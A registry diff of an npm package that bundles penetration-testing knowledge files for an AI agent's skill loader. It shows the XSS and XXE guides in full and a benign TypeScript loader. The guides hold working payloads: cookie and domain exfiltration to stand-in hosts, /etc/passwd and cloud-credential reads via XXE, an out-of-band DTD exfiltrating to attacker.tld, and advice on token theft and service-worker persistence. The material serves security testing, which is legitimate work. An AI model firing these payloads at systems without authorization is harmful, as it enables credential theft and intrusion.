@gpzhang2001/sharpkit-skills 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +12 -0
- package/THIRD_PARTY_NOTICES.md +48 -0
- package/lib/index.d.ts +2027 -0
- package/lib/index.d.ts.map +1 -0
- package/lib/index.js +70 -0
- package/lib/index.js.map +1 -0
- package/package.json +46 -0
- package/skills/analysis/counterevidence.md +185 -0
- package/skills/analysis/fix_verification.md +129 -0
- package/skills/analysis/severity_calibration.md +130 -0
- package/skills/analysis/source_aware_discovery.md +211 -0
- package/skills/cloud/aws.md +231 -0
- package/skills/cloud/azure.md +262 -0
- package/skills/cloud/gcp.md +194 -0
- package/skills/cloud/kubernetes.md +223 -0
- package/skills/coordination/root_agent.md +105 -0
- package/skills/coordination/source_aware_whitebox.md +47 -0
- package/skills/custom/api_spec_testing.md +61 -0
- package/skills/custom/dependency_cve_scanning.md +341 -0
- package/skills/custom/npx_confusion.md +233 -0
- package/skills/custom/source_aware_sast.md +192 -0
- package/skills/frameworks/django.md +214 -0
- package/skills/frameworks/fastapi.md +191 -0
- package/skills/frameworks/nestjs.md +225 -0
- package/skills/frameworks/nextjs.md +228 -0
- package/skills/protocols/graphql.md +276 -0
- package/skills/protocols/oauth.md +185 -0
- package/skills/reconnaissance/asset_discovery.md +150 -0
- package/skills/reconnaissance/infrastructure_lifecycle.md +226 -0
- package/skills/scan_modes/deep.md +164 -0
- package/skills/scan_modes/diff.md +86 -0
- package/skills/scan_modes/quick.md +68 -0
- package/skills/scan_modes/standard.md +99 -0
- package/skills/technologies/active_directory.md +233 -0
- package/skills/technologies/auth0.md +188 -0
- package/skills/technologies/electron_desktop_apps.md +181 -0
- package/skills/technologies/firebase.md +263 -0
- package/skills/technologies/grafana_prometheus.md +189 -0
- package/skills/technologies/llm_applications.md +257 -0
- package/skills/technologies/supabase.md +268 -0
- package/skills/tooling/agent_browser.md +551 -0
- package/skills/tooling/ffuf.md +72 -0
- package/skills/tooling/httpx.md +82 -0
- package/skills/tooling/hurl.md +99 -0
- package/skills/tooling/hypothesis.md +100 -0
- package/skills/tooling/katana.md +102 -0
- package/skills/tooling/naabu.md +68 -0
- package/skills/tooling/nmap.md +66 -0
- package/skills/tooling/nuclei.md +67 -0
- package/skills/tooling/python.md +109 -0
- package/skills/tooling/semgrep.md +72 -0
- package/skills/tooling/sqlmap.md +67 -0
- package/skills/tooling/subfinder.md +66 -0
- package/skills/vulnerabilities/agentic_system_security.md +207 -0
- package/skills/vulnerabilities/argument_injection.md +157 -0
- package/skills/vulnerabilities/authentication_jwt.md +166 -0
- package/skills/vulnerabilities/broken_function_level_authorization.md +154 -0
- package/skills/vulnerabilities/browser_security.md +192 -0
- package/skills/vulnerabilities/business_logic.md +178 -0
- package/skills/vulnerabilities/csrf.md +198 -0
- package/skills/vulnerabilities/header_injection.md +216 -0
- package/skills/vulnerabilities/http_request_smuggling.md +255 -0
- package/skills/vulnerabilities/idor.md +217 -0
- package/skills/vulnerabilities/information_disclosure.md +187 -0
- package/skills/vulnerabilities/insecure_deserialization.md +210 -0
- package/skills/vulnerabilities/insecure_file_uploads.md +194 -0
- package/skills/vulnerabilities/llm_prompt_injection.md +187 -0
- package/skills/vulnerabilities/mass_assignment.md +153 -0
- package/skills/vulnerabilities/nosql_injection.md +288 -0
- package/skills/vulnerabilities/open_redirect.md +165 -0
- package/skills/vulnerabilities/path_traversal_lfi_rfi.md +218 -0
- package/skills/vulnerabilities/prototype_pollution.md +142 -0
- package/skills/vulnerabilities/race_conditions.md +181 -0
- package/skills/vulnerabilities/rce.md +250 -0
- package/skills/vulnerabilities/semantic_confusion.md +189 -0
- package/skills/vulnerabilities/sql_injection.md +190 -0
- package/skills/vulnerabilities/ssrf.md +186 -0
- package/skills/vulnerabilities/ssti.md +270 -0
- package/skills/vulnerabilities/subdomain_takeover.md +167 -0
- package/skills/vulnerabilities/weak_password_detection.md +200 -0
- package/skills/vulnerabilities/xss.md +206 -0
- package/skills/vulnerabilities/xxe.md +223 -0
- package/src/index.ts +89 -0
|
@@ -0,0 +1,206 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: xss
|
|
3
|
+
description: XSS testing covering reflected, stored, and DOM-based vectors with CSP bypass techniques
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# XSS
|
|
7
|
+
|
|
8
|
+
Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Types**
|
|
13
|
+
- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
|
|
14
|
+
|
|
15
|
+
**Contexts**
|
|
16
|
+
- HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
|
|
17
|
+
|
|
18
|
+
**Frameworks**
|
|
19
|
+
- React/Vue/Angular/Svelte sinks, template engines, SSR/ISR
|
|
20
|
+
|
|
21
|
+
**Defenses to Bypass**
|
|
22
|
+
- CSP/Trusted Types, DOMPurify, framework auto-escaping
|
|
23
|
+
|
|
24
|
+
## Injection Points
|
|
25
|
+
|
|
26
|
+
**Server Render**
|
|
27
|
+
- Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
|
|
28
|
+
|
|
29
|
+
**Client Render**
|
|
30
|
+
- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, template literals
|
|
31
|
+
- `dangerouslySetInnerHTML`, `v-html`, `$sce.trustAsHtml`, Svelte `{@html}`
|
|
32
|
+
|
|
33
|
+
**URL/DOM**
|
|
34
|
+
- `location.hash`/`search`, `document.referrer`, base href, `data-*` attributes
|
|
35
|
+
|
|
36
|
+
**Events/Handlers**
|
|
37
|
+
- `onerror`/`onload`/`onfocus`/`onclick` and `javascript:` URL handlers
|
|
38
|
+
|
|
39
|
+
**Cross-Context**
|
|
40
|
+
- postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
|
|
41
|
+
|
|
42
|
+
**File/Metadata**
|
|
43
|
+
- Image/SVG/XML names and EXIF, office documents processed server/client
|
|
44
|
+
|
|
45
|
+
## Context Encoding Rules
|
|
46
|
+
|
|
47
|
+
- **HTML text**: encode `< > & " '`
|
|
48
|
+
- **Attribute value**: encode `" ' < > &` and ensure attribute quoted; avoid unquoted attributes
|
|
49
|
+
- **URL/JS URL**: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
|
|
50
|
+
- **JS string**: escape quotes, backslashes, newlines; prefer `JSON.stringify`
|
|
51
|
+
- **CSS**: avoid injecting into style; sanitize property names/values; beware `url()` and `expression()`
|
|
52
|
+
- **SVG/MathML**: treat as active content; many tags execute via onload or animation events
|
|
53
|
+
|
|
54
|
+
## Key Vulnerabilities
|
|
55
|
+
|
|
56
|
+
### DOM XSS
|
|
57
|
+
|
|
58
|
+
**Sources**
|
|
59
|
+
- `location.*` (hash/search), `document.referrer`, postMessage, storage, service worker messages
|
|
60
|
+
|
|
61
|
+
**Sinks**
|
|
62
|
+
- `innerHTML`/`outerHTML`/`insertAdjacentHTML`, `document.write`
|
|
63
|
+
- `setAttribute`, `setTimeout`/`setInterval` with strings
|
|
64
|
+
- `eval`/`Function`, `new Worker` with blob URLs
|
|
65
|
+
|
|
66
|
+
**Vulnerable Pattern**
|
|
67
|
+
```javascript
|
|
68
|
+
const q = new URLSearchParams(location.search).get('q');
|
|
69
|
+
results.innerHTML = `<li>${q}</li>`;
|
|
70
|
+
```
|
|
71
|
+
Exploit: `?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>`
|
|
72
|
+
|
|
73
|
+
### Mutation XSS
|
|
74
|
+
|
|
75
|
+
Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):
|
|
76
|
+
```html
|
|
77
|
+
<noscript><p title="</noscript><img src=x onerror=alert(1)>
|
|
78
|
+
<form><button formaction=javascript:alert(1)>
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### Template Injection
|
|
82
|
+
|
|
83
|
+
Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):
|
|
84
|
+
```
|
|
85
|
+
{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
### CSP Bypass
|
|
89
|
+
|
|
90
|
+
- Weak policies: missing nonces/hashes, wildcards, `data:` `blob:` allowed, inline events allowed
|
|
91
|
+
- Script gadgets: JSONP endpoints, libraries exposing function constructors
|
|
92
|
+
- Import maps or modulepreload lax policies
|
|
93
|
+
- Base tag injection to retarget relative script URLs
|
|
94
|
+
- Dynamic module import with allowed origins
|
|
95
|
+
|
|
96
|
+
### Trusted Types Bypass
|
|
97
|
+
|
|
98
|
+
- Custom policies returning unsanitized strings; abuse policy whitelists
|
|
99
|
+
- Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets
|
|
100
|
+
|
|
101
|
+
## Polyglot Payloads
|
|
102
|
+
|
|
103
|
+
Keep a compact set tuned per context:
|
|
104
|
+
- **HTML node**: `<svg onload=alert(1)>`
|
|
105
|
+
- **Attr quoted**: `" autofocus onfocus=alert(1) x="`
|
|
106
|
+
- **Attr unquoted**: `onmouseover=alert(1)`
|
|
107
|
+
- **JS string**: `"-alert(1)-"`
|
|
108
|
+
- **URL**: `javascript:alert(1)`
|
|
109
|
+
|
|
110
|
+
## Framework-Specific
|
|
111
|
+
|
|
112
|
+
### React
|
|
113
|
+
|
|
114
|
+
- Primary sink: `dangerouslySetInnerHTML`
|
|
115
|
+
- Secondary: setting event handlers or URLs from untrusted input
|
|
116
|
+
- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML
|
|
117
|
+
|
|
118
|
+
### Vue
|
|
119
|
+
|
|
120
|
+
- Sinks: `v-html` and dynamic attribute bindings
|
|
121
|
+
- SSR hydration mismatches can re-interpret content
|
|
122
|
+
|
|
123
|
+
### Angular
|
|
124
|
+
|
|
125
|
+
- Legacy expression injection (pre-1.6)
|
|
126
|
+
- `$sce` trust APIs misused to whitelist attacker content
|
|
127
|
+
|
|
128
|
+
### Svelte
|
|
129
|
+
|
|
130
|
+
- Sinks: `{@html}` and dynamic attributes
|
|
131
|
+
|
|
132
|
+
### Markdown/Richtext
|
|
133
|
+
|
|
134
|
+
- Renderers often allow HTML passthrough; plugins may re-enable raw HTML
|
|
135
|
+
- Sanitize post-render; forbid inline HTML or restrict to safe whitelist
|
|
136
|
+
|
|
137
|
+
## Special Contexts
|
|
138
|
+
|
|
139
|
+
### Email
|
|
140
|
+
|
|
141
|
+
- Most clients strip scripts but allow CSS/remote content
|
|
142
|
+
- Use CSS/URL tricks only if relevant; avoid assuming JS execution
|
|
143
|
+
|
|
144
|
+
### PDF and Docs
|
|
145
|
+
|
|
146
|
+
- PDF engines may execute JS in annotations or links
|
|
147
|
+
- Test `javascript:` in links and submit actions
|
|
148
|
+
|
|
149
|
+
### File Uploads
|
|
150
|
+
|
|
151
|
+
- SVG/HTML uploads served with `text/html` or `image/svg+xml` can execute inline
|
|
152
|
+
- Verify content-type and `Content-Disposition: attachment`
|
|
153
|
+
- Mixed MIME and sniffing bypasses; ensure `X-Content-Type-Options: nosniff`
|
|
154
|
+
|
|
155
|
+
## Post-Exploitation
|
|
156
|
+
|
|
157
|
+
- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability
|
|
158
|
+
- Real-time control: WebSocket C2 with strict command set
|
|
159
|
+
- Persistence: service worker registration; localStorage/script gadget re-injection
|
|
160
|
+
- Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays
|
|
161
|
+
|
|
162
|
+
## Testing Methodology
|
|
163
|
+
|
|
164
|
+
1. **Identify sources** - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON
|
|
165
|
+
2. **Trace to sinks** - Map data flow from source to sink
|
|
166
|
+
3. **Classify context** - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG
|
|
167
|
+
4. **Assess defenses** - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config
|
|
168
|
+
5. **Craft payloads** - Minimal payloads per context with encoding/whitespace/casing variants
|
|
169
|
+
6. **Multi-channel** - Test across REST, GraphQL, WebSocket, SSE, service workers
|
|
170
|
+
|
|
171
|
+
## Validation
|
|
172
|
+
|
|
173
|
+
1. Provide minimal payload and context (sink type) with before/after DOM or network evidence
|
|
174
|
+
2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior
|
|
175
|
+
3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof
|
|
176
|
+
4. Quantify impact beyond alert: data accessed, action performed, persistence achieved
|
|
177
|
+
|
|
178
|
+
## False Positives
|
|
179
|
+
|
|
180
|
+
- Reflected content safely encoded in the exact context
|
|
181
|
+
- CSP with nonces/hashes and no inline/event handlers
|
|
182
|
+
- Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
|
|
183
|
+
- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
|
|
184
|
+
|
|
185
|
+
## Impact
|
|
186
|
+
|
|
187
|
+
- Session hijacking and credential theft
|
|
188
|
+
- Account takeover via token exfiltration
|
|
189
|
+
- CSRF chaining for state-changing actions
|
|
190
|
+
- Malware distribution and phishing
|
|
191
|
+
- Persistent compromise via service workers
|
|
192
|
+
|
|
193
|
+
## Pro Tips
|
|
194
|
+
|
|
195
|
+
1. Start with context classification, not payload brute force
|
|
196
|
+
2. Use DOM instrumentation to log sink usage; it reveals unexpected flows
|
|
197
|
+
3. Keep a small, curated payload set per context and iterate with encodings
|
|
198
|
+
4. Validate defenses by configuration inspection and negative tests
|
|
199
|
+
5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes
|
|
200
|
+
6. Treat SVG/MathML as first-class active content; test separately
|
|
201
|
+
7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration)
|
|
202
|
+
8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports
|
|
203
|
+
|
|
204
|
+
## Summary
|
|
205
|
+
|
|
206
|
+
Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.
|
|
@@ -0,0 +1,223 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: xxe
|
|
3
|
+
description: XXE testing for external entity injection, file disclosure, and SSRF via XML parsers
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# XXE
|
|
7
|
+
|
|
8
|
+
XML External Entity injection is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Capabilities**
|
|
13
|
+
- File disclosure: read server files and configuration
|
|
14
|
+
- SSRF: reach metadata services, internal admin panels, service ports
|
|
15
|
+
- DoS: entity expansion (billion laughs), external resource amplification
|
|
16
|
+
|
|
17
|
+
**Injection Surfaces**
|
|
18
|
+
- REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office)
|
|
19
|
+
- PDF generators, build/report pipelines, config importers
|
|
20
|
+
|
|
21
|
+
**Transclusion**
|
|
22
|
+
- XInclude and XSLT `document()` loading external resources
|
|
23
|
+
|
|
24
|
+
## High-Value Targets
|
|
25
|
+
|
|
26
|
+
**File Uploads**
|
|
27
|
+
- SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives
|
|
28
|
+
- Android/iOS plist, project config imports
|
|
29
|
+
|
|
30
|
+
**Protocols**
|
|
31
|
+
- SOAP/XML-RPC/WebDAV/SAML (ACS endpoints)
|
|
32
|
+
- RSS/Atom feeds, server-side renderers and converters
|
|
33
|
+
|
|
34
|
+
**Hidden Paths**
|
|
35
|
+
- Parameters: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude"
|
|
36
|
+
- Processing-instruction headers
|
|
37
|
+
|
|
38
|
+
## Detection Channels
|
|
39
|
+
|
|
40
|
+
### Direct
|
|
41
|
+
|
|
42
|
+
- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
|
|
43
|
+
|
|
44
|
+
### Error-Based
|
|
45
|
+
|
|
46
|
+
- Coerce parser errors that leak path fragments or file content via interpolated messages
|
|
47
|
+
|
|
48
|
+
### OAST
|
|
49
|
+
|
|
50
|
+
- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
|
|
51
|
+
- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
|
|
52
|
+
- Use `interactsh-client -v` for the callback domain. Reference it as the
|
|
53
|
+
external DTD host (e.g. `<!ENTITY % ex SYSTEM "http://xyz.oast.fun/x.dtd">`)
|
|
54
|
+
and read the DNS/HTTP hit on the interactsh stdout.
|
|
55
|
+
|
|
56
|
+
### Timing
|
|
57
|
+
|
|
58
|
+
- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
|
|
59
|
+
|
|
60
|
+
## Core Payloads
|
|
61
|
+
|
|
62
|
+
### Local File
|
|
63
|
+
|
|
64
|
+
```xml
|
|
65
|
+
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
66
|
+
<r>&xxe;</r>
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
```xml
|
|
70
|
+
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
|
|
71
|
+
<r>&xxe;</r>
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
### SSRF
|
|
75
|
+
|
|
76
|
+
```xml
|
|
77
|
+
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
|
|
78
|
+
<r>&xxe;</r>
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
```xml
|
|
82
|
+
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
|
|
83
|
+
<r>&xxe;</r>
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### OOB Parameter Entity
|
|
87
|
+
|
|
88
|
+
```xml
|
|
89
|
+
<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
evil.dtd:
|
|
93
|
+
```xml
|
|
94
|
+
<!ENTITY % f SYSTEM "file:///etc/hostname">
|
|
95
|
+
<!ENTITY % e "<!ENTITY % exfil SYSTEM 'http://%f;.attacker.tld/'>">
|
|
96
|
+
%e; %exfil;
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
## Key Vulnerabilities
|
|
100
|
+
|
|
101
|
+
### Parameter Entities
|
|
102
|
+
|
|
103
|
+
- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content
|
|
104
|
+
- Works even when general entities are sanitized in the XML tree
|
|
105
|
+
|
|
106
|
+
### XInclude
|
|
107
|
+
|
|
108
|
+
```xml
|
|
109
|
+
<root xmlns:xi="http://www.w3.org/2001/XInclude">
|
|
110
|
+
<xi:include parse="text" href="file:///etc/passwd"/>
|
|
111
|
+
</root>
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
Effective where entity resolution is blocked but XInclude remains enabled in the pipeline.
|
|
115
|
+
|
|
116
|
+
### XSLT Document
|
|
117
|
+
|
|
118
|
+
XSLT processors can fetch external resources via `document()`:
|
|
119
|
+
|
|
120
|
+
```xml
|
|
121
|
+
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
|
122
|
+
<xsl:template match="/">
|
|
123
|
+
<xsl:copy-of select="document('file:///etc/passwd')"/>
|
|
124
|
+
</xsl:template>
|
|
125
|
+
</xsl:stylesheet>
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers.
|
|
129
|
+
|
|
130
|
+
### Protocol Wrappers
|
|
131
|
+
|
|
132
|
+
- Java: `jar:`, `netdoc:`
|
|
133
|
+
- PHP: `php://filter`, `expect://` (when module enabled)
|
|
134
|
+
- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
|
|
135
|
+
|
|
136
|
+
## Bypass Techniques
|
|
137
|
+
|
|
138
|
+
**Encoding Variants**
|
|
139
|
+
- UTF-16/UTF-7 declarations, mixed newlines
|
|
140
|
+
- CDATA and comments to evade naive filters
|
|
141
|
+
|
|
142
|
+
**DOCTYPE Variants**
|
|
143
|
+
- PUBLIC vs SYSTEM, mixed case `<!DoCtYpE>`
|
|
144
|
+
- Internal vs external subsets, multi-DOCTYPE edge handling
|
|
145
|
+
|
|
146
|
+
**Network Controls**
|
|
147
|
+
- If network blocked but filesystem readable, pivot to local file disclosure
|
|
148
|
+
- If files blocked but network open, pivot to SSRF/OAST
|
|
149
|
+
|
|
150
|
+
## Special Contexts
|
|
151
|
+
|
|
152
|
+
### SOAP
|
|
153
|
+
|
|
154
|
+
```xml
|
|
155
|
+
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
156
|
+
<soap:Body>
|
|
157
|
+
<!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
158
|
+
<d>&xxe;</d>
|
|
159
|
+
</soap:Body>
|
|
160
|
+
</soap:Envelope>
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### SAML
|
|
164
|
+
|
|
165
|
+
- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude
|
|
166
|
+
- Test ACS endpoints with minimal probes
|
|
167
|
+
|
|
168
|
+
### SVG and Renderers
|
|
169
|
+
|
|
170
|
+
- Inline SVG and server-side SVG→PNG/PDF renderers process XML
|
|
171
|
+
- Attempt local file reads via entities/XInclude
|
|
172
|
+
|
|
173
|
+
### Office Docs
|
|
174
|
+
|
|
175
|
+
- OOXML (docx/xlsx/pptx) are ZIPs containing XML
|
|
176
|
+
- Insert payloads into document.xml, rels, or drawing XML and repackage
|
|
177
|
+
|
|
178
|
+
## Testing Methodology
|
|
179
|
+
|
|
180
|
+
1. **Inventory consumers** - Endpoints, upload parsers, background jobs, CLI tools, converters, third-party SDKs
|
|
181
|
+
2. **Capability probes** - Does parser accept DOCTYPE? Resolve external entities? Allow network access? Support XInclude/XSLT?
|
|
182
|
+
3. **Establish oracle** - Error shape, length/ETag diffs, OAST callbacks
|
|
183
|
+
4. **Escalate** - Targeted file/SSRF payloads
|
|
184
|
+
5. **Validate parity** - Same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs
|
|
185
|
+
|
|
186
|
+
## Validation
|
|
187
|
+
|
|
188
|
+
1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT)
|
|
189
|
+
2. Demonstrate controlled access (file path or internal URL) with reproducible evidence
|
|
190
|
+
3. Confirm blind channels with OAST and correlate to the triggering request
|
|
191
|
+
4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths)
|
|
192
|
+
5. Bound impact: exact files/data reached or internal targets proven
|
|
193
|
+
|
|
194
|
+
## False Positives
|
|
195
|
+
|
|
196
|
+
- DOCTYPE accepted but entities not resolved and no transclusion reachable
|
|
197
|
+
- Filters or sandboxes that emit entity strings literally (no IO performed)
|
|
198
|
+
- Mocks/stubs that simulate success without network/file access
|
|
199
|
+
- XML processed only client-side (no server parse)
|
|
200
|
+
|
|
201
|
+
## Impact
|
|
202
|
+
|
|
203
|
+
- Disclosure of credentials/keys/configs, code, and environment secrets
|
|
204
|
+
- Access to cloud metadata/token services and internal admin panels
|
|
205
|
+
- Denial of service via entity expansion or slow external resources
|
|
206
|
+
- Code execution via XSLT/expect:// in insecure stacks
|
|
207
|
+
|
|
208
|
+
## Pro Tips
|
|
209
|
+
|
|
210
|
+
1. Prefer OAST first; it is the quietest confirmation in production-like paths
|
|
211
|
+
2. When content is sanitized, use error-based and length/ETag diffs
|
|
212
|
+
3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled
|
|
213
|
+
4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts
|
|
214
|
+
5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly
|
|
215
|
+
6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS
|
|
216
|
+
7. Test background processors separately; they often use different parser settings
|
|
217
|
+
8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE
|
|
218
|
+
9. Combine with path traversal and deserialization where XML touches downstream systems
|
|
219
|
+
10. Document exact parser behavior per stack; defenses must match real libraries and flags
|
|
220
|
+
|
|
221
|
+
## Summary
|
|
222
|
+
|
|
223
|
+
XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.
|
package/src/index.ts
ADDED
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Bundled pentest knowledge skills for the sharpkit suite: mounts one
|
|
3
|
+
* isolated `skill-filesystem` provider over the eleven knowledge categories
|
|
4
|
+
* migrated verbatim from strix (one directory per category under `skills`),
|
|
5
|
+
* so the dsh `skill` tool lists and loads them like any other skill source.
|
|
6
|
+
* @module @gpzhang2001/sharpkit-skills
|
|
7
|
+
*/
|
|
8
|
+
|
|
9
|
+
import { readdirSync } from 'node:fs'
|
|
10
|
+
import { dirname, join, resolve } from 'node:path'
|
|
11
|
+
import { fileURLToPath } from 'node:url'
|
|
12
|
+
import type { Context } from '@deepseek-ai/cordis'
|
|
13
|
+
import type Schema from '@deepseek-ai/schemastery'
|
|
14
|
+
import z from '@deepseek-ai/schemastery'
|
|
15
|
+
import * as skillFilesystem from '@deepseek-ai/dsh-skill-filesystem'
|
|
16
|
+
|
|
17
|
+
/** Cordis plugin name. */
|
|
18
|
+
export const name = 'pentest-skills'
|
|
19
|
+
/** Required services: the dsh skill registry. */
|
|
20
|
+
export const inject = ['skills']
|
|
21
|
+
|
|
22
|
+
/** Provider configuration for the bundled knowledge skills. */
|
|
23
|
+
export interface Config {
|
|
24
|
+
/** Root holding the category directories; defaults to this package's bundled `skills/` tree. */
|
|
25
|
+
skillsRoot?: string
|
|
26
|
+
/** Provider name registered into `ctx.skills`; must be unique in the process. */
|
|
27
|
+
providerName?: string
|
|
28
|
+
/** Whether the mounted provider also includes the dsh default project/user roots. */
|
|
29
|
+
includeDefaultRoots?: boolean
|
|
30
|
+
/** Whether category directories are watched for catalog changes; bundled assets are static, so this defaults off. */
|
|
31
|
+
watch?: boolean
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
export const Config: Schema<Config> = z.object({
|
|
35
|
+
skillsRoot: z.string(),
|
|
36
|
+
providerName: z.string().min(1).default('pentest-bundled'),
|
|
37
|
+
includeDefaultRoots: z.boolean().default(false),
|
|
38
|
+
watch: z.boolean().default(false),
|
|
39
|
+
})
|
|
40
|
+
|
|
41
|
+
/**
|
|
42
|
+
* The bundled skills tree shipped inside this package.
|
|
43
|
+
* @returns absolute path of the `skills/` directory next to `src/`.
|
|
44
|
+
*/
|
|
45
|
+
export function bundledSkillsRoot(): string {
|
|
46
|
+
return resolve(dirname(fileURLToPath(import.meta.url)), '../skills')
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
/**
|
|
50
|
+
* Resolve the category directories to mount, one skill root each.
|
|
51
|
+
* @param root - the skills root directory.
|
|
52
|
+
* @returns absolute category directory paths, each holding at least one Markdown skill.
|
|
53
|
+
* @throws when the root is missing, unreadable, or holds no category with a skill file.
|
|
54
|
+
*/
|
|
55
|
+
export function categoryRoots(root: string): string[] {
|
|
56
|
+
let entries
|
|
57
|
+
try {
|
|
58
|
+
entries = readdirSync(root, { withFileTypes: true })
|
|
59
|
+
} catch (error) {
|
|
60
|
+
throw new Error(`pentest-skills: cannot read skills root ${root}: ${String(error)}`)
|
|
61
|
+
}
|
|
62
|
+
const categories: string[] = []
|
|
63
|
+
for (const entry of entries) {
|
|
64
|
+
if (!entry.isDirectory()) continue
|
|
65
|
+
const dir = join(root, entry.name)
|
|
66
|
+
const hasSkillFile = readdirSync(dir).some(file => file.endsWith('.md'))
|
|
67
|
+
if (hasSkillFile) categories.push(dir)
|
|
68
|
+
}
|
|
69
|
+
if (categories.length === 0) {
|
|
70
|
+
throw new Error(`pentest-skills: no category directory with a skill file under ${root}`)
|
|
71
|
+
}
|
|
72
|
+
return categories.sort()
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
/**
|
|
76
|
+
* Mount the isolated bundled-skills provider onto `ctx.skills`.
|
|
77
|
+
* @param ctx - host context with the skill registry available.
|
|
78
|
+
* @param config - provider configuration with defaults resolved at this boundary.
|
|
79
|
+
*/
|
|
80
|
+
export function apply(ctx: Context, config: Config = {}): void {
|
|
81
|
+
const root = resolve(config.skillsRoot ?? bundledSkillsRoot())
|
|
82
|
+
const customSkillDirs = categoryRoots(root)
|
|
83
|
+
ctx.plugin(skillFilesystem, {
|
|
84
|
+
providerName: config.providerName ?? 'pentest-bundled',
|
|
85
|
+
includeDefaultRoots: config.includeDefaultRoots ?? false,
|
|
86
|
+
customSkillDirs,
|
|
87
|
+
watch: config.watch ?? false,
|
|
88
|
+
})
|
|
89
|
+
}
|